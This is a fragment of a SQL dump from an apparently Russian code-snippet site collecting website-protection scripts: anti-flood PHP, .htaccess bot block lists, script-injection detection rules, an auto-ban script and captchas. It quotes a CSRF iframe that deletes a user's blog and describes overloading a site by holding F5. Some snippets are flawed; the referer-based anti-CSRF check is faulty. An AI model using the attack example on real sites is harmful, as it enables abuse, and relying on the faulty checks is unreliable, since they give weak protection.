$file , &quot;.&quot; ));\r\n// Отсортируем все .php\r\nфайлы\r\nif ( in_array ( $ext ,\r\n$extentions ) ) {\r\n// Собираем новый массив из\r\nphp-файлов\r\n$php_files [] = $file ;\r\n}\r\n}\r\n}\r\n?&gt;','files_4991_2099_',151),(330,18,'AntiDoss ll','AntiDoss ll','&lt;?php\r\n// каталог для хранения\r\nвременных файлов\r\n$nf_path =$dir . \'/engine/\r\ndata/anti_doss/\' ;\r\n// имя файла для юзера -\r\nгенерится из его IP-адреса\r\n$nf_fip = $nf_path . $_SERVER\r\n[ \'REMOTE_ADDR\' ];\r\n// имя файла для\r\nвстроенного крона (должно\r\nначинаться с точки)\r\n$nf_fcron = $nf_path . \'.time\' ;\r\n//\r\n// сек =&gt; кол-во\r\n//\r\n// не более скольки загрузок\r\nза сколько секунд можно\r\nсделать,\r\n// чтобы не получить игнор\r\n//\r\n$nf_flood =array(\r\n10 =&gt; 15 , // не более 15\r\nзагрузок за 10 секунд\r\n60 =&gt; 50 , // не более 60\r\nзагрузок за минуту\r\n300 =&gt; 150 , // не более 150\r\nзагрузок за 5 минут\r\n3600 =&gt; 500 , // не более\r\n500 загрузок за час\r\n);\r\n$nf_cron_run = 300 ; // раз в\r\nсколько секунд проверять\r\nстарые файлы\r\n$nf_old_file = 300 ; // через\r\nсколько секунд считать файл\r\nстарым (и удалять)\r\nfunction cron_update ( $fn ,\r\n$update ) {\r\nif (! file_exists ( $fn )) {\r\nif (!@ touch ($fn )) {\r\necho \'Не могу создать\r\n&lt;strong&gt;\' . basename ($fn ). \'&lt;/\r\nstrong&gt;, проверьте права на\r\nфайлы (w+)&lt;br/&gt;\' ;\r\nreturn - 1;\r\n}\r\n}\r\nelse {\r\nif ( time ()- filemtime( $fn )&lt;\r\n$update ) {return 0;}\r\n}\r\n$f =@fopen ( $fn , \'r+\' );\r\nif (! $f ) {\r\necho \'Не могу открыть\r\n&lt;strong&gt;\' . basename ($fn ). \'&lt;/\r\nstrong&gt;, проверьте права на\r\nфайлы (r+)&lt;br/&gt;\' ;\r\nreturn - 1;\r\n}\r\nif (! flock ( $f , 6 )) {return;}\r\n$text =fgets ($f , 100 );\r\nif ( time ()- intval( $text )&lt;\r\n$update ) {return 0;}\r\nfseek ($f , 0 ,SEEK_SET );\r\nfwrite ( $f , time (). \' \' );\r\nfclose ( $f );\r\nreturn 1 ;\r\n}\r\n$nf_cron_code = cron_update\r\n( $nf_fcron , $nf_cron_run );\r\nif ( $nf_cron_code ==- 1)\r\nreturn;\r\nif ( $nf_cron_code ==1 ) {\r\nif ( $nf_dir =@opendir\r\n( $nf_path )) {\r\n$nf_time =time ()-\r\n$nf_old_file ;\r\nwhile (( $nf_tmp = readdir\r\n( $nf_dir ))!== false ) {\r\nif ( $nf_tmp [ 0 ]== \'.\' )\r\ncontinue;\r\nif ( filemtime( $nf_path .\r\n$nf_tmp )&lt;$nf_time &amp;&amp;\r\npreg_match ( &quot;!^[0-9]{1,3}\\.\r\n[0-9]{1,3}\\.[0-9]{1,3}\\.\r\n[0-9]{1,3}$!&quot; , $nf_tmp ))\r\n{\r\nif (! unlink( $nf_path .\r\n$nf_tmp )) {\r\necho \'Не могу удалить\r\n&lt;trong&gt;\' .$nf_tmp . \'&lt;/\r\nstrong&gt;&lt;br/&gt;\' ;\r\n}\r\n}\r\n}\r\nclosedir ( $nf_dir );\r\n}\r\n}\r\nunset( $nf_cron_code );\r\nif ( file_exists ( $nf_fip )) {\r\n$nf_f =@fopen ( $nf_fip , \'r+\' );\r\nif (! flock ( $nf_f , 6 )) exit\r\n( \'Ошибка запущен паралельный\r\nпроцесс!\' );\r\nif (! $nf_f ) {\r\necho \'Не могу открыть\r\n&lt;strong&gt;\' . basename\r\n( $nf_fip ). \'&lt;/strong&gt; (r\r\n+)&lt;br/&gt;\' ;\r\nreturn;\r\n}\r\n$nf_buf = fgets ( $nf_f ,1000 );\r\n$nf_buf = explode( \'|\' ,\r\n$nf_buf );\r\n}\r\nelse {\r\nfor( $nf_i = 0; $nf_i &lt;count\r\n( $nf_flood )*2 ; $nf_i ++)\r\n$nf_buf []= 0 ;\r\n$nf_f =@fopen ( $nf_fip , \'a+\' );\r\nif (! $nf_f ) {\r\necho \'Не могу создать\r\n&lt;strong&gt;\' . basename\r\n( $nf_fip ). \'&lt;/strong&gt; (a\r\n+)&lt;br/&gt;\' ;\r\nreturn;\r\n}\r\nif (! flock ( $nf_f , 6 )) exit\r\n( \'Ошибка запущен паралельный\r\nпроцесс!\' );\r\n}\r\n$nf_i = 0 ;\r\n$nf_stopflag = 0 ;\r\nforeach ( $nf_flood as\r\n$nf_k =&gt;$nf_v ) {\r\nif ( $nf_buf [ $nf_i + 1 ]+\r\n$nf_k &lt; time()) {\r\n$nf_buf [ $nf_i ]=1 ;\r\n$nf_buf [ $nf_i +1 ]=time ();\r\n}\r\nelse {\r\nif ( $nf_buf [ $nf_i ]&gt; $nf_v ) {\r\n$nf_stopflag = 1 ;\r\n$nf_buf [ $nf_i +1 ]=time ();\r\n}\r\n$nf_buf [ $nf_i ]++;\r\n}\r\n$nf_i += 2;\r\n}\r\nftruncate ($nf_f , 0 );\r\nfseek ($nf_f , 0 );\r\nfputs ($nf_f , implode( \'|\' ,\r\n$nf_buf ));\r\nif ( $nf_stopflag ) exit\r\n( \'Сработала программа ANTI\r\nDOSS.. Это значит что вы\r\nлибо хотели взломать сайт,\r\nлибо очень быстро\r\nпередвигались по сайту...\r\nДоступ к сайту возобновиться\r\nв течении 5минут\' );\r\nunset( $nf_f );\r\nunset( $nf_i );\r\nunset( $nf_k );\r\nunset( $nf_v );\r\nunset( $nf_stopflag );\r\nunset( $nf_buf );\r\nunset( $nf_fip );\r\nunset( $nf_path );\r\nunset( $nf_flood );\r\nunset( $nf_cron_run );\r\nunset( $nf_cron_idle );\r\n}\r\n?&gt;','files_2519_1252_',151),(331,18,'защита AntiDoss','защита AntiDoss','&lt;?php\r\n// каталог для хранения\r\nвременных файлов\r\n$nf_path =$dir . \'/engine/\r\ndata/anti_doss/\' ;\r\n// имя файла для юзера -\r\nгенерится из его IP-адреса\r\n$nf_fip = $nf_path . $_SERVER\r\n[ \'REMOTE_ADDR\' ];\r\n// имя файла для\r\nвстроенного крона (должно\r\nначинаться с точки)\r\n$nf_fcron = $nf_path . \'.time\' ;\r\n//\r\n// сек =&gt; кол-во\r\n//\r\n// не более скольки загрузок\r\nза сколько секунд можно\r\nсделать,\r\n// чтобы не получить игнор\r\n//\r\n$nf_flood =array(\r\n10 =&gt; 15 , // не более 15\r\nзагрузок за 10 секунд\r\n60 =&gt; 50 , // не более 60\r\nзагрузок за минуту\r\n300 =&gt; 150 , // не более 150\r\nзагрузок за 5 минут\r\n3600 =&gt; 500 , // не более\r\n500 загрузок за час\r\n);\r\n$nf_cron_run = 300 ; // раз в\r\nсколько секунд проверять\r\nстарые файлы\r\n$nf_old_file = 300 ; // через\r\nсколько секунд считать файл\r\nстарым (и удалять)\r\nfunction cron_update ( $fn ,\r\n$update ) {\r\nif (! file_exists ( $fn )) {\r\nif (!@ touch ($fn )) {\r\necho \'Не могу создать\r\n&lt;strong&gt;\' . basename ($fn ). \'&lt;/\r\nstrong&gt;, проверьте права на\r\nфайлы (w+)&lt;br/&gt;\' ;\r\nreturn - 1;\r\n}\r\n}\r\nelse {\r\nif ( time ()- filemtime( $fn )&lt;\r\n$update ) {return 0;}\r\n}\r\n$f =@fopen ( $fn , \'r+\' );\r\nif (! $f ) {\r\necho \'Не могу открыть\r\n&lt;strong&gt;\' . basename ($fn ). \'&lt;/\r\nstrong&gt;, проверьте права на\r\nфайлы (r+)&lt;br/&gt;\' ;\r\nreturn - 1;\r\n}\r\nif (! flock ( $f , 6 )) {return;}\r\n$text =fgets ($f , 100 );\r\nif ( time ()- intval( $text )&lt;\r\n$update ) {return 0;}\r\nfseek ($f , 0 ,SEEK_SET );\r\nfwrite ( $f , time (). \' \' );\r\nfclose ( $f );\r\nreturn 1 ;\r\n}\r\n$nf_cron_code = cron_update\r\n( $nf_fcron , $nf_cron_run );\r\nif ( $nf_cron_code ==- 1)\r\nreturn;\r\nif ( $nf_cron_code ==1 ) {\r\nif ( $nf_dir =@opendir\r\n( $nf_path )) {\r\n$nf_time =time ()-\r\n$nf_old_file ;\r\nwhile (( $nf_tmp = readdir\r\n( $nf_dir ))!== false ) {\r\nif ( $nf_tmp [ 0 ]== \'.\' )\r\ncontinue;\r\nif ( filemtime( $nf_path .\r\n$nf_tmp )&lt;$nf_time &amp;&amp;\r\npreg_match ( &quot;!^[0-9]{1,3}\\.\r\n[0-9]{1,3}\\.[0-9]{1,3}\\.\r\n[0-9]{1,3}$!&quot; , $nf_tmp ))\r\n{\r\nif (! unlink( $nf_path .\r\n$nf_tmp )) {\r\necho \'Не могу удалить\r\n&lt;trong&gt;\' .$nf_tmp . \'&lt;/\r\nstrong&gt;&lt;br/&gt;\' ;\r\n}\r\n}\r\n}\r\nclosedir ( $nf_dir );\r\n}\r\n}\r\nunset( $nf_cron_code );\r\nif ( file_exists ( $nf_fip )) {\r\n$nf_f =@fopen ( $nf_fip , \'r+\' );\r\nif (! flock ( $nf_f , 6 )) exit\r\n( \'Ошибка запущен паралельный\r\nпроцесс!\' );\r\nif (! $nf_f ) {\r\necho \'Не могу открыть\r\n&lt;strong&gt;\' . basename\r\n( $nf_fip ). \'&lt;/strong&gt; (r\r\n+)&lt;br/&gt;\' ;\r\nreturn;\r\n}\r\n$nf_buf = fgets ( $nf_f ,1000 );\r\n$nf_buf = explode( \'|\' ,\r\n$nf_buf );\r\n}\r\nelse {\r\nfor( $nf_i = 0; $nf_i &lt;count\r\n( $nf_flood )*2 ; $nf_i ++)\r\n$nf_buf []= 0 ;\r\n$nf_f =@fopen ( $nf_fip , \'a+\' );\r\nif (! $nf_f ) {\r\necho \'Не могу создать\r\n&lt;strong&gt;\' . basename\r\n( $nf_fip ). \'&lt;/strong&gt; (a\r\n+)&lt;br/&gt;\' ;\r\nreturn;\r\n}\r\nif (! flock ( $nf_f , 6 )) exit\r\n( \'Ошибка запущен паралельный\r\nпроцесс!\' );\r\n}\r\n$nf_i = 0 ;\r\n$nf_stopflag = 0 ;\r\nforeach ( $nf_flood as\r\n$nf_k =&gt;$nf_v ) {\r\nif ( $nf_buf [ $nf_i + 1 ]+\r\n$nf_k &lt; time()) {\r\n$nf_buf [ $nf_i ]=1 ;\r\n$nf_buf [ $nf_i +1 ]=time ();\r\n}\r\nelse {\r\nif ( $nf_buf [ $nf_i ]&gt; $nf_v ) {\r\n$nf_stopflag = 1 ;\r\n$nf_buf [ $nf_i +1 ]=time ();\r\n}\r\n$nf_buf [ $nf_i ]++;\r\n}\r\n$nf_i += 2;\r\n}\r\nftruncate ($nf_f , 0 );\r\nfseek ($nf_f , 0 );\r\nfputs ($nf_f , implode( \'|\' ,\r\n$nf_buf ));\r\nif ( $nf_stopflag ) exit\r\n( \'Сработала программа ANTI\r\nDOSS.. Это значит что вы\r\nлибо хотели взломать сайт,\r\nлибо очень быстро\r\nпередвигались по сайту...\r\nДоступ к сайту возобновиться\r\nв течении 5минут\' );\r\nunset( $nf_f );\r\nunset( $nf_i );\r\nunset( $nf_k );\r\nunset( $nf_v );\r\nunset( $nf_stopflag );\r\nunset( $nf_buf );\r\nunset( $nf_fip );\r\nunset( $nf_path );\r\nunset( $nf_flood );\r\nunset( $nf_cron_run );\r\nunset( $nf_cron_idle );\r\n}\r\n?&gt;','files_2987_4583_',151),(332,18,'Защита от частых обращений к сайту.','Защита от частых обращений к сайту.\r\n\r\nвсе оказалось довольно просто все что нужно это перейти на сайт жертвы и зажать на секунд 10 кнопку F5, тем самым происходит обновления страницы чаще чем раз в 1 секунду, из за таких частых обращений и ложится сервер, правда не на долго но все равно не приятно.\r\nДанная информация сразу заставила задуматься и принять экстренные меры )) и был написан простенький но эффективный скрипт на ограничение запросов к сайту.\r\n\r\nheader(\'Content-Type: text/html;charset=UTF-8\');\r\n\r\nsession_start();\r\n\r\n$limit = 5;\r\n\r\nif(isset($_SESSION[session_id()]) AND (time()-$_SESSION[session_id()]) &lt;= $limit)\r\n\r\nexit(\'Фууууу.. ддоссер.... кышь!\');\r\n\r\nelse\r\n\r\n$_SESSION[session_id()] = time();\r\n\r\nКак вы уже догадались скрипт нужно прикрепить ко всем страницам вашего сайта в самом начале.\r\nPhp скрипт от частого обращения к сайту.','header(\'Content-Type: text/html;charset=UTF-8\');\r\n\r\nsession_start();\r\n\r\n$limit = 5;\r\n\r\n\r\n\r\nif(isset($_SESSION[session_id()]) AND (time()-$_SESSION[session_id()]) &lt;= $limit)\r\n\r\nexit(\'Фууууу.. ддоссер.... кышь!\');\r\n\r\nelse\r\n\r\n$_SESSION[session_id()] = time();','files_3669_3288_',151),(333,18,'Защито от лишних поисковых ботов и снижаем нагрузку на сервер','Дополнить файл .htaccess следующим содержимым:','order allow,deny\r\nallow from all\r\n# Далее список юзерагентов которым мы запрещаем доступ\r\nSetEnvIfNoCase User-Agent JS-Kit bad_bot\r\nSetEnvIfNoCase User-Agent PostRank bad_bot\r\nSetEnvIfNoCase User-Agent Python-urllib bad_bot\r\nSetEnvIfNoCase User-Agent UnwindFetchor bad_bot\r\nSetEnvIfNoCase User-Agent facebookexternalhit bad_bot\r\nSetEnvIfNoCase User-Agent TweetmemeBot bad_bot\r\nSetEnvIfNoCase User-Agent Butterfly bad_bot\r\nSetEnvIfNoCase User-Agent MFE_expand bad_bot\r\nSetEnvIfNoCase User-Agent Java bad_bot\r\nSetEnvIfNoCase User-Agent Summify bad_bot\r\nSetEnvIfNoCase User-Agent MetaURI bad_bot\r\nSetEnvIfNoCase User-Agent FlipboardProxy bad_bot\r\nSetEnvIfNoCase User-Agent ScribdReader bad_bot\r\nSetEnvIfNoCase User-Agent RockMelt bad_bot\r\nSetEnvIfNoCase User-Agent InAGist bad_bot\r\nSetEnvIfNoCase User-Agent NING bad_bot\r\nSetEnvIfNoCase User-Agent TweetedTimes bad_bot\r\nSetEnvIfNoCase User-Agent PaperLiBot bad_bot\r\nSetEnvIfNoCase User-Agent Library bad_bot\r\nSetEnvIfNoCase User-Agent Ezooms bad_bot\r\nSetEnvIfNoCase User-Agent strawberryj bad_bot\r\nSetEnvIfNoCase User-Agent Scooper bad_bot\r\nSetEnvIfNoCase User-Agent Ahrefs bad_bot\r\nSetEnvIfNoCase User-Agent Spider bad_bot\r\nSetEnvIfNoCase User-Agent None bad_bot\r\nSetEnvIfNoCase User-Agent EventMachine bad_bot\r\nSetEnvIfNoCase User-Agent aiHitBot bad_bot\r\nSetEnvIfNoCase User-Agent SolomonoBot bad_bot\r\nSetEnvIfNoCase User-Agent SearchBot bad_bot\r\nSetEnvIfNoCase User-Agent Wget bad_bot\r\nSetEnvIfNoCase User-Agent Crawler bad_bot\r\nOrder Allow,Deny\r\nAllow from all\r\nDeny from env=bad_bot','files_1621_1808_',151),(334,18,'Блокировка мыши и клавиатуры с выдачей сообщений','Работает безотказно.\r\nПроверял у себя. Супер работает, никто не скопирует у вас текст сайта. Видал много таких кодов, но все они некорректно работали.','&lt;html&gt;\r\n&lt;head&gt;\r\n&lt;title&gt;Блокировка мыши и клавиатуры с выдачей сообщений&lt;/title&gt;\r\n&lt;SCRIPT language=Javascript1.2&gt;\r\n&lt;!--//\r\nfunction click() {\r\nif (event.button==2) {\r\n// Чтобы отключить левую кнопку поставьте цифру 1\r\n// Чтобы отключить третью кнопку поставьте цифру 3\r\nalert(\'Кнопка мышки отключена\');\r\n} }\r\n// Здесь введите свою надпись\r\nfunction press(){\r\nalert(\'Клавиатура отключена\');\r\n}\r\n// Здесь введите свою надпись\r\ndocument.onmousedown=click;\r\ndocument.onkeydown=press;\r\n// --&gt;\r\n&lt;/SCRIPT&gt;\r\n&lt;/head&gt;\r\n&lt;body&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;','files_3063_3930_',151),(335,18,'Отключение правых кнопок мыши (2 и 3) с выдачей сообщения','Отключение правых кнопок мыши (2 и 3) с выдачей сообщения','&lt;html&gt;\r\n&lt;head&gt;\r\n&lt;title&gt;Отключение правых кнопок мыши&lt;/title&gt;\r\n&lt;script LANGUAGE=&quot;JavaScript1.1&quot;&gt;\r\n&lt;!--\r\nfunction right(e) {\r\nif (navigator.appName == \'Netscape\' &amp;&amp;\r\n(e.which == 3 || e.which == 2))\r\nreturn false;\r\nelse\r\nif (navigator.appName == \'Microsoft Internet Explorer\' &amp;&amp;\r\n(event.button == 2 || event.button == 3))\r\n{\r\nalert (&quot;Отключена&quot;);\r\nreturn false;\r\n}\r\nreturn true;\r\n}\r\ndocument.onmousedown=right;\r\nif (document.layers)\r\nwindow.captureEvents(Event.MOUSEDOWN);\r\nwindow.onmousedown=right;\r\n--&gt;\r\n&lt;/script&gt;\r\n&lt;/head&gt;\r\n&lt;body&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;','files_4258_4780_',151),(336,18,'Отличная каптча','Отличная каптча','&lt;?php\r\n\r\nsession_start();\r\n\r\n$_SESSION[\'code\'] = mt_rand(1111, 9999);\r\n\r\n$img = ImageCreate(42, 18);\r\n$font = ImageColorALLocate($img, 255, 255, 255);\r\nImageFill($img, 0, 0, $font);\r\n\r\nImageString($img, 5, rand(2,3), rand(0,3), substr($_SESSION[\'code\'], 0, 1), ImageColorALLocate($img, rand(0, 204), rand(0, 204), rand(0, 204)));\r\nImageString($img, 5, rand(11,12), rand(0,3), substr($_SESSION[\'code\'], 1, 1), ImageColorALLocate($img, rand(0, 204), rand(0, 204), rand(0, 204)));\r\nImageString($img, 5, rand(20,21), rand(0,3), substr($_SESSION[\'code\'], 2, 1), ImageColorALLocate($img, rand(0, 204), rand(0, 204), rand(0, 204)));\r\nImageString($img, 5, rand(29,30), rand(0,3), substr($_SESSION[\'code\'], 3, 1), ImageColorALLocate($img, rand(0, 204), rand(0, 204), rand(0, 204)));\r\n\r\nheader(\'Content-type: image/gif\');\r\nImageGIF($img);\r\nImageDestroy($img);\r\n?&gt;','files_5478_5638_',151),(337,18,'Заменяем двойные кавычки на безопасный аналог','Заменяем двойные кавычки на безопасный аналог','&lt;?php\r\npreg_replace(\'B&quot;b([^&quot;x84x93x94rn]+)b&quot;B\', \'?1?\', $text);\r\n?&gt;','files_5382_2027_',151),(338,18,'Запрет доступа к сайту','Запрещаем заходить на сайт определенным IP, все писать в .htaccess','Order Allow,Deny\r\n#разрешаем входить всем,\r\nAllow from all\r\n#кроме определенного IP\r\nDeny from local.\r\nDeny from пишем IP юзера\r\n\r\n#IP можно и вписать полный диапозон: например, чтобы заблокировать диапозон 37.150... - 37.151...\r\n\r\nDeny from local.\r\nDeny from 37.150, 37.151','files_1963_3452_',151),(339,18,'Отправка отчета об ошибке PHP на Email, вместо отображения ошибок','По умолчанию, большинство серверов настроены на отображение сообщения об ошибке в сценариях PHP. По соображениям безопасности, Вы можете получать письма с отчетами об ошибках, вместо того, чтобы они отображались посетителям.','// Обработчик ошибок\r\nfunction nettuts_error_handler($number, $message, $file, $line, $vars){\r\n$email = &quot;\r\n&lt;p&gt;An error ($number) occurred on line\r\n&lt;strong&gt;$line&lt;/strong&gt; and in the &lt;strong&gt;file: $file.&lt;/strong&gt;\r\n&lt;p&gt; $message &lt;/p&gt;&quot;;\r\n\r\n$email .= &quot;&lt;pre&gt;&quot; . print_r($vars, 1) . &quot;&lt;/pre&gt;&quot;;\r\n\r\n$headers = \'Content-type: text/html; charset=iso-8859-1\' . &quot;\\r\\n&quot;;\r\n\r\n// Кому отправляем\r\nerror_log($email, 1, \'example@mail.ru\', $headers);\r\n\r\n// реагируем на ошибку уведомление\r\nif ( ($number !== E_NOTICE) &amp;&amp; ($number &lt; 2048) ) {\r\ndie(&quot;Ошибка в сценарии!&quot;);\r\n}\r\n}\r\n\r\n// Применяем нашу функцию для обработки ошибок\r\nset_error_handler(\'nettuts_error_handler\');\r\n\r\n// Ошибка)\r\necho $somevarthatdoesnotexist;','files_1708_3884_',151),(340,18,'PHP-скрипт автоматического бана по IP в .htaccess','О скрипте\r\n\r\nДумаю, любого вабмастера донимают искатели админок и системных папок вида:\r\nhttp://сайт/admin.php\r\nhttp://сайт/phpmyadmin/\r\nhttp://сайт/administrator/\r\nhttp://сайт/login.php\r\nКак бороться с такими искателями? Думаю, баном. Скрипт работает следующим образом: идет запрос на http://сайт/admin.php ==&gt; идет перенаправление на PHP-скрипт бана ==&gt; скрипт добавляет в файл .htaccess запись &quot;Deny from 1.2.3.4&quot;, где 1.2.3.4 - ip-адрес искателя ==&gt; уведомляет по email админа сайта о бане. Всё просто =)\r\nУ меня по этим адресам ничего нет, но я всё равно использую этот скрипт, ибо нефиг лезть куда не надо =)','Установка\r\n\r\nСам PHP-скрипт бана. Назовем его ban.php\r\n&lt;?\r\n// PHP-скрипт автоматического бана по IP в .htaccess при посещении запрещенного URL\r\n// от Дмитрия \'DiM\' (www.dimlife.com)\r\n// Инструкция по использованию скрипта http://dimlife.com/php:htaccess-ban\r\n\r\n$tomail = \'admin@dimlife.com\'; // email владельца сайта\r\n$frommail = \'robot@dimlife.com\'; // условный email отправителя\r\n$date = date(\'d.m.Y H:i:s\');\r\n$ip = $_SERVER[\'REMOTE_ADDR\'];\r\n$url = $_SERVER[\'REQUEST_URI\'];\r\n$useragent = $_SERVER[\'HTTP_USER_AGENT\'];\r\n$refer = $_SERVER[\'HTTP_REFERER\'];\r\n$ban = &quot;# &quot;.$date.&quot; &quot;.$url.&quot; \\r\\nDeny from &quot;.$ip.&quot; \\r\\n&quot;; // эта строка запишется в .htaccess\r\n$htaccess = $_SERVER[\'DOCUMENT_ROOT\'].\'/.htaccess\'; // путь до .htaccess\r\n$str = file_get_contents($htaccess);\r\n$fn = \'Deny from \'.$ip;\r\n$pos = strpos($str,$fn);\r\n\r\n// если IP-адрес не забанен в .htaccess\r\nif ($pos === false)\r\n{\r\n$o = @fopen($htaccess, &quot;a+&quot;); // открывает .htaccess\r\n$write = @fputs($o, $ban); // пишет строку о бане\r\n// уведомление на email админа сайта\r\nmail (\r\n$tomail,\r\n\'Новый бан! (\'.$url.\')\',\r\n\'дата: \'.$date.\' | IP: \'.$ip.&quot;\\r\\n&quot;.\'юзерагент: \'.$useragent.&quot;\\r\\n&quot;.\'Запрос: \'.$url.\' | реферал: \'.$refer,\r\n\'From:\'.$frommail\r\n);\r\nfclose($o);\r\n// показывает нарушителю страницу с уведомлением о бане\r\necho \'\r\n&lt;html&gt;&lt;head&gt;&lt;/head&gt;&lt;body style=&quot;background:#363636;font-family:Century Gothic;color:#CFCFCF&quot;&gt;\r\n&lt;div style=&quot;position:fixed;top:25%;left:25%;width:400px;height:400px;top:expression((document.documentElement.scrollTop + screen.height/2 - 200) + \\\'px\\\');margin-left:-200px;&quot;&gt;&lt;span style=&quot;font-size:300px&quot;&gt;БАН!&lt;/span&gt;&lt;/div&gt;\r\n&lt;/body&gt;&lt;/html&gt;\r\n\';\r\n\r\n}\r\n\r\n// если IP-адрес уже забанен в .htaccess\r\nelse\r\n{\r\n// только уведомление на email админа сайта\r\nmail (\r\n$tomail,\r\n\'Уже забанен (\'.$ip.\')\',\r\n\'дата: \'.$date.\' | IP: \'.$ip.&quot;\\r\\n&quot;.\'юзерагент: \'.$useragent.&quot;\\r\\n&quot;.\'Запрос: \'.$url.\' | реферал: \'.$refer,\r\n\'From:\'.$frommail\r\n);\r\n}\r\n?&gt;\r\nЭтот же скрипт можно взять на dimlife.com/t5bdf.txt, gist.github.com/dimlife/5799050, pastebin.com/itc4a5Cw\r\nСохраняем ban.php в любом удобном месте.\r\nТеперь определимся, за посещение каких ссылок будем банить. В файле .htaccess добавим\r\nRewriteRule admin.php /путь/до/ban.php [NC]\r\nRewriteRule login /путь/до/ban.php [NC]\r\nRewriteRule administrator /путь/до/ban.php [NC] // админка joomla\r\nRewriteRule wp-login.php /путь/до/ban.php [NC] // админка wordpress\r\nДобавить можете кучу ссылок.\r\n\r\nДополнения\r\n\r\nЧтобы добавить в исключения свой IP-адрес, делаем так\r\nRewriteCond %{REMOTE_ADDR} !1.2.3.4\r\nRewriteRule admin.php /путь/до/ban.php [NC]\r\nгде &quot;1.2.3.4&quot; - ваш IP-адрес. Если у вас динамический IP, можно обрезать, например, до &quot;1.2.&quot;.\r\nЕсли IP-адресов больше одного, то это будет выглядеть так\r\nRewriteCond %{REMOTE_ADDR} !1.2.3.4 [OR]\r\nRewriteCond %{REMOTE_ADDR} !3.2.3. [OR]\r\nRewriteCond %{REMOTE_ADDR} !2.1.\r\nRewriteRule admin.php /путь/до/ban.php [NC]\r\n\r\n\r\nВсё просто. От профессионалов жду критики, а от новичков вопросов =)','files_3419_2833_',151),(341,18,'Каптча','Добавления каптчи на сайт','&lt;?php\r\n\r\n// Папка со шрифтом + его имя\r\n\r\n$font = \'fonts/Disney.ttf\';\r\n\r\n// Общее число линий\r\n\r\n$lineCount = 40;\r\n\r\n// Размер шрифта\r\n\r\n$fontSize = 40;\r\n\r\n// Высота картинки\r\n\r\n$height = 50;\r\n\r\n// Ширина картинки\r\n\r\n$width = 150;\r\n\r\n$img_handle = imagecreate ($width, $height) or die (&quot;Cannot Create image&quot;);\r\n\r\n// Основной цвет в RGB\r\n\r\n$backColor = imagecolorallocate($img_handle, 255, 255, 255);\r\n\r\n// Цвета линий в RGB\r\n\r\n$lineColor = imagecolorallocate($img_handle, 175, 238, 238);\r\n\r\n// Цвет текста в RGB\r\n\r\n$txtColor = imagecolorallocate($img_handle, 135, 206, 235);\r\n\r\n\r\n\r\n// Не изменяйте код ниже\r\n\r\n$string = &quot;abcdefghijklmnopqrstuvwxyz0123456789&quot;;\r\n\r\nfor($i=0;$i&lt;6;$i++){\r\n\r\n$pos = rand(0,36);\r\n\r\n$str .= $string{$pos};\r\n\r\n}\r\n\r\n$textbox = imagettfbbox($fontSize, 0, $font, $str) or die(\'Error in imagettfbbox function\');\r\n\r\n$x = ($width - $textbox[4])/2;\r\n\r\n$y = ($height - $textbox[5])/2;\r\n\r\nimagettftext($img_handle, $fontSize, 0, $x, $y, $txtColor, $font , $str) or die(\'Error in imagettftext function\');\r\n\r\nfor($i=0;$i&lt;$lineCount;$i++){\r\n\r\n$x1 = rand(0,$width);$x2 = rand(0,$width);\r\n\r\n$y1 = rand(0,$width);$y2 = rand(0,$width);\r\n\r\nimageline($img_handle,$x1,$y1,$x2,$y2,$lineColor);\r\n\r\n}\r\n\r\nheader(\'Content-Type: image/jpeg\');\r\n\r\nimagejpeg($img_handle,NULL,100);\r\n\r\nimagedestroy($img_handle);\r\n\r\n\r\n\r\nsession_start();\r\n\r\n$_SESSION[\'img_number\'] = $str;\r\n\r\n?&gt;\r\n\r\n\r\n\r\nform.php\r\n\r\n&lt;form action=&quot;result.php&quot; method=&quot;post&quot;&gt;\r\n&lt;img alt=&quot;Random Number&quot; src=&quot;image.php&quot;&gt;\r\n&lt;input type=&quot;text&quot; name=&quot;num&quot;&gt;&lt;br&gt;\r\n&lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Check&quot;&gt;\r\n&lt;/form&gt;\r\n\r\nresult.php\r\n\r\n\r\n&lt;?php\r\n\r\nsession_start();\r\n\r\nif($_SESSION[\'img_number\'] != $_POST[\'num\']){\r\n\r\necho\'The number you entered doesn\'t match the image.&lt;br&gt;\r\n\r\n&lt;a href=&quot;form.php&quot;&gt;Try Again&lt;/a&gt;&lt;br&gt;\';\r\n\r\n}else{\r\n\r\necho\'The numbers Match!&lt;br&gt;\r\n\r\n&lt;a href=&quot;form.php&quot;&gt;Try Again&lt;/a&gt;&lt;br&gt;\';\r\n\r\n}\r\n\r\n?&gt;','files_5005_4562_',151),(342,18,'Защита сайта от scripts injection','Данный код позволяет защитить сайт от scripts enjection и нежелательных модификаций _REQUEST и/или GLOBALS. код вставлять в .htaccess','#Включаем отслеживание сим-ссылок\r\nOptions +FollowSymLinks\r\n#Запускаем url_rewriting\r\nRewriteEngine On\r\n#Блокируем все ссылки, содержащие &lt;script&gt;\r\nRewriteCond %{QUERY_STRING} (\\&lt;|%3C).*script.*(\\&gt;|%3E) [NC,OR]\r\n#Блокируем все скрипты, которые пытаются изменить переменные PHP Globals:\r\nRewriteCond %{QUERY_STRING} GLOBALS(=|\\[|\\%[0-9A-Z]{0,2}) [OR]\r\n#Блокируем все скрипты, которые пытаются изменить переменную _REQUEST:\r\nRewriteCond %{QUERY_STRING} _REQUEST(=|\\[|\\%[0-9A-Z]{0,2})\r\n#Перенаправляем все подобные на страницу с ошибкой 403 — запрещено\r\nRewriteRule ^(.*)$ index.php [F,L]','files_3191_5478_',151),(343,18,'Анти CSRF','даный кусок кода служит минимальной защитой от малоизвестного типа атаки как csrf, это тип межсайтовых запросов, ориентированых на вызов каких то действий со стороны юзера (администратора), к примеру вызов какого то действия через фрейм,при условии что юзер авторизирован на атакуемом сайте..\r\n&lt;iframe width=&quot;0&quot; height=&quot;0&quot; src=&quot;http://мойсайт.ру/blog.php?delete=1&quot;&gt;&lt;/iframe&gt;\r\nКогда юзер зайдет на сайт с этим кодом,то очистится его блог..и он даже ничего не заподозрит..\r\nНо даное обращение пишется в реферер.. и мы можем проверить действительно ли с нашего сайта обращались к скрипту..','//функцию можно закинуть к примеру в файл бд или любой другой часто инклуденый файл (так проще)\r\n\r\nfunction AntiCsrf()\r\n{\r\nif (isset($_SERVER[\'HTTP_REFERER\']))\r\n{\r\nif ($_SERVER[\'HTTP_REFERER\'] != $_SERVER[\'HTTP_HOST\'])\r\n{\r\necho \'Неизвестный источник!\';\r\nexit();\r\n}\r\n}\r\n}\r\n\r\n//потом можем вставить в начало любого массива отвечающего за админ или юзер 